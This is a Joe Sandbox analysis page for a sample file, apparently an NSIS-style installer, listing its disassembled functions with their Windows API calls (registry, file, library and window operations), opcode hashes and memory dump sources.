Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 36caebe1fe8aa1eff7ff321662443c514d6827d4f2801b7b393fcb4226acda68
Instruction ID: 343f6187318c33bb175646012d6cb398530476c6c15fe8dd96994d534b9a6b17
Opcode Fuzzy Hash: 36caebe1fe8aa1eff7ff321662443c514d6827d4f2801b7b393fcb4226acda68
Instruction Fuzzy Hash: CC0171B1200609ABDF305F11DD84B9B3666EBD4356F508037FA00761E1C77A8DD29A6E

Function 004062B6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000800,00000002,00422708,00000000,?,?,Call,?,?,0040652A,80000002), ref: 004062FC
RegCloseKey.ADVAPI32(?,?,0040652A,80000002,Software\Microsoft\Windows\CurrentVersion,Call,Call,Call,00000000,00422708), ref: 00406307

Strings

Call, xrefs: 004062BD

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: CloseQueryValue
String ID: Call
API String ID: 3356406503-1824292864
Opcode ID: c86c14991d827863ed80974af0b6eb11eee99485bcf286d774b2a77da772c934
Instruction ID: efe3e51cb47fe95fa6bbb83f3cb46ebf457b8c4b35673ac5825ceff03b23bf8b
Opcode Fuzzy Hash: c86c14991d827863ed80974af0b6eb11eee99485bcf286d774b2a77da772c934
Instruction Fuzzy Hash: B301717250020AEBDF218F55CD09EDB3FA9EF55354F114039FD15A2150E778D964CBA4

Function 00406F27 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db40346bc9fd20083a39152eff8b5ac78f5cdc0ebc59631a5c9ad52422038ace
Instruction ID: 2bd06e12bed6e0bcd81d630d0cd78bd49004ac77cb8b5ebb757de7108a839e92
Opcode Fuzzy Hash: db40346bc9fd20083a39152eff8b5ac78f5cdc0ebc59631a5c9ad52422038ace
Instruction Fuzzy Hash: 1DA14471E04228CBDF28CFA8C8446ADBBB1FF44305F14806ED856BB281D7786A86DF45

Function 00407128 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d32937a43efcd2dea5d1fc698e3fcc0023127280f8acdc5c544d8c7d1790a46
Instruction ID: f1da02a2f8b93330a3d469e31e6e9edf047fa596270f1f1d86c95cc791e20b04
Opcode Fuzzy Hash: 9d32937a43efcd2dea5d1fc698e3fcc0023127280f8acdc5c544d8c7d1790a46
Instruction Fuzzy Hash: AA910271E04228CBEF28CF98C8447ADBBB1FB45305F14816AD856BB291C778A986DF45

Function 00406E3E Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d6f810e310069c411d265ffcddf6abea8090fb20e8d2db1667143610fe5bd5
Instruction ID: fb1d02f26201205f5bfcbd3029eb7cfad7cca69a3f8c46de7b35964bdd0c3f7d
Opcode Fuzzy Hash: 67d6f810e310069c411d265ffcddf6abea8090fb20e8d2db1667143610fe5bd5
Instruction Fuzzy Hash: 18814571E04228DFDF24CFA8C844BADBBB1FB45305F24816AD856BB291C7389986DF45

Function 00406943 Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5328a0701a0a32b67c374057837e60552721ea1a6811a44abe83e42546375677
Instruction ID: 55fc176551b00f8465723d30588461dcf2fc1d3195b414c524ee7a2fcbdbe87b
Opcode Fuzzy Hash: 5328a0701a0a32b67c374057837e60552721ea1a6811a44abe83e42546375677
Instruction Fuzzy Hash: 39815971E04228DBEF24CFA8C844BADBBB1FB45305F14816AD856BB2C1C7786986DF45

Function 00406D91 Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a445a859154d96951751bba7131c1a69e0b73c0895ac35a4e96b2d7ee743491b
Instruction ID: 7645ab34ef40ba223d211dbe726f8302725d3f31b3e808d93cc70016d3e0d248
Opcode Fuzzy Hash: a445a859154d96951751bba7131c1a69e0b73c0895ac35a4e96b2d7ee743491b
Instruction Fuzzy Hash: 10711471E04228DBDF24CF98C8447ADBBB1FF49305F15806AD856BB281C7389A86DF45

Function 00406EAF Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd7d90a79d0f10410712768d5bba8e0713d9e8f593557aa9bf16db43d4616d0f
Instruction ID: a4e19b7408f2815589132e7e2b866ae2b9c8caa40868d81b8a4623295251dea3
Opcode Fuzzy Hash: cd7d90a79d0f10410712768d5bba8e0713d9e8f593557aa9bf16db43d4616d0f
Instruction Fuzzy Hash: 0D712571E04218DBEF28CF98C844BADBBB1FF45305F15806AD856BB281C7389986DF45

Function 00406DFB Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08b8d2b65a0c1c30b5e83c7ea62cdb0658c0fab8542c410d93f606ef21acc8e7
Instruction ID: 979076adb26e5f1e3e7a9458f232081f51f9a0722543042d1d726f4d31452a21
Opcode Fuzzy Hash: 08b8d2b65a0c1c30b5e83c7ea62cdb0658c0fab8542c410d93f606ef21acc8e7
Instruction Fuzzy Hash: 50714871E04228DBEF28CF98C8447ADBBB1FF45305F15806AD856BB281C7386A46DF45

Function 004032DE Relevance: 4.6, APIs: 3, Instructions: 101COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 004032F2

Part of subcall function 0040345D: SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040315B,?), ref: 0040346B

SetFilePointer.KERNELBASE(00000000,00000000,?,00000000,00403208,00000004,00000000,00000000,?,?,00403182,000000FF,00000000,00000000,0040A230,?), ref: 00403325
SetFilePointer.KERNELBASE(00165A3B,00000000,00000000,00414ED0,00004000,?,00000000,00403208,00000004,00000000,00000000,?,?,00403182,000000FF,00000000), ref: 00403420

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: FilePointer$CountTick
String ID:
API String ID: 1092082344-0
Opcode ID: 46bf3b49fb3124b20b26849d3f96ebab8958347a080c85236d637af58840fa95
Instruction ID: a2c2ae871b20a7f651e14226ae934804f023725c52e887911cb1b1382089a511
Opcode Fuzzy Hash: 46bf3b49fb3124b20b26849d3f96ebab8958347a080c85236d637af58840fa95
Instruction Fuzzy Hash: 54313872610215DBD721DF29EEC496A3BA9F74039A754433FE900F62E0CBB99D018B9D

Function 00402032 Relevance: 4.6, APIs: 3, Instructions: 73libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,00000001,000000F0), ref: 0040205D

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 0040206E
FreeLibrary.KERNELBASE(?,?,000000F7,?,?,00000008,00000001,000000F0), ref: 004020EB

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: c0091ceae9cfbdad611b36e7acbab474ec2c1bafca6550aebcba3b122e164ceb
Instruction ID: 38390b8595ebf5dc4f6cf14c4d4b7ed92d06cc21542818b97b262269bef072d5
Opcode Fuzzy Hash: c0091ceae9cfbdad611b36e7acbab474ec2c1bafca6550aebcba3b122e164ceb
Instruction Fuzzy Hash: DC218331D00215BACF20AFA5CE4D99E7A70BF04358F60413BF511B51E0DBBD8991DA6E

Function 004024F8 Relevance: 4.5, APIs: 3, Instructions: 47registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(00000000,00000000,?,000003FF), ref: 0040252B
RegEnumValueW.ADVAPI32(00000000,00000000,?,?), ref: 0040253E
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nszB803.tmp,00000000,00000011,00000002), ref: 00402557

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: Enum$CloseValue
String ID:
API String ID: 397863658-0
Opcode ID: 962e8dbebea2d0e856bbe812d5e95e45bdf7d67f5620c7d5b12d357826d7025c
Instruction ID: 69a0bd767b5398a5b54c194fc83da7942780fa4e63ecbf8b5358c30743fc2944
Opcode Fuzzy Hash: 962e8dbebea2d0e856bbe812d5e95e45bdf7d67f5620c7d5b12d357826d7025c
Instruction Fuzzy Hash: 4B017171904204ABEB149F95DE88ABF7AB8EF80348F10403EF505B61D0DAB85E419B69

Function 004031D6 Relevance: 3.1, APIs: 2, Instructions: 88COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,?,?,00403182,000000FF,00000000,00000000,0040A230,?), ref: 004031FB

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 09b1e881bc629fe9623964bcd0dac9c3534a319fde10b4dd95dd132c0a2dd849
Instruction ID: f938e70baf20f89fc7421c1cbc4d65c8cbb1a4a40291e2e844035b0cdbff1196
Opcode Fuzzy Hash: 09b1e881bc629fe9623964bcd0dac9c3534a319fde10b4dd95dd132c0a2dd849
Instruction Fuzzy Hash: 53314B30200219BBDB109F95ED84ADA3E68EB04759F20857EF905E62D0D6789A509BA9

Function 004015C1 Relevance: 3.1, APIs: 2, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00405D68: CharNextW.USER32(?,?,00425F30,?,00405DDC,00425F30,00425F30,?,?,74DF2EE0,00405B1A,?,C:\Users\user\AppData\Local\Temp\,74DF2EE0,00000000), ref: 00405D76
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D7B
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D93

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 0040161A

Part of subcall function 0040591F: CreateDirectoryW.KERNELBASE(?,?,00000000), ref: 00405962

SetCurrentDirectoryW.KERNELBASE(?,00436000,?,00000000,000000F0), ref: 0040164D

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID:
API String ID: 1892508949-0
Opcode ID: c670449cb20163be3cb3cb34affd8c81282aa0e3ca4a40f31796d9e50139b1da
Instruction ID: 0139da5d792eeb989572d84d187c25f91b4f70b2bd1842bf542401118de2a59f
Opcode Fuzzy Hash: c670449cb20163be3cb3cb34affd8c81282aa0e3ca4a40f31796d9e50139b1da
Instruction Fuzzy Hash: 0511E631504511EBCF30AFA4CD4159F36A0EF15329B29453BFA45B22F1DB3E49419B5D

Function 00402484 Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNELBASE(00000000,00000000,?,?,?,?), ref: 004024B5
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nszB803.tmp,00000000,00000011,00000002), ref: 00402557

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: CloseQueryValue
String ID:
API String ID: 3356406503-0
Opcode ID: 63b64fe82c2f511c8169af5ec8c0190f19a921c94039209ad64b866aaad41420
Instruction ID: 8b4d26b48c61f4aea5aea8b01f6eaa690eaa4425e6198d6413393360261ed691
Opcode Fuzzy Hash: 63b64fe82c2f511c8169af5ec8c0190f19a921c94039209ad64b866aaad41420
Instruction Fuzzy Hash: 61119431910205EBDB14DF64CA585AE7BB4EF44348F20843FE445B72D0D6B85A81EB5A

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(00000402,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 23ed1533968369fb0e08a97211bc38e5ec6adcca8744e4a1682e6817b2d67833
Instruction ID: 4945fb4554c9d48a14a82d28c5fc4c127f2c3d85d8aa5c2a63fae023cf5e702c
Opcode Fuzzy Hash: 23ed1533968369fb0e08a97211bc38e5ec6adcca8744e4a1682e6817b2d67833
Instruction Fuzzy Hash: AB01F431724210EBEB199B789D04B2A3698E710714F104A7FF855F62F1DA78CC529B5D

Function 0040238E Relevance: 3.0, APIs: 2, Instructions: 39registryCOMMON

Download Yara Rule

APIs

RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 004023B0
RegCloseKey.ADVAPI32(00000000), ref: 004023B9

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: CloseDeleteValue
String ID:
API String ID: 2831762973-0
Opcode ID: a00859f013a8106156cc87040160a2b11e5294e3cc8a521d5b70861134e176e9
Instruction ID: 92c71ce55c792e737e0c56b3c5c8c262173643586798c2a655fc457b9e75749a
Opcode Fuzzy Hash: a00859f013a8106156cc87040160a2b11e5294e3cc8a521d5b70861134e176e9
Instruction Fuzzy Hash: 5FF0F632E041109BE700BBA49B8EABE72A49B44314F29003FFE42F31C0CAF85D42976D

Function 00401E49 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 00401E67
EnableWindow.USER32(00000000,00000000), ref: 00401E72

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

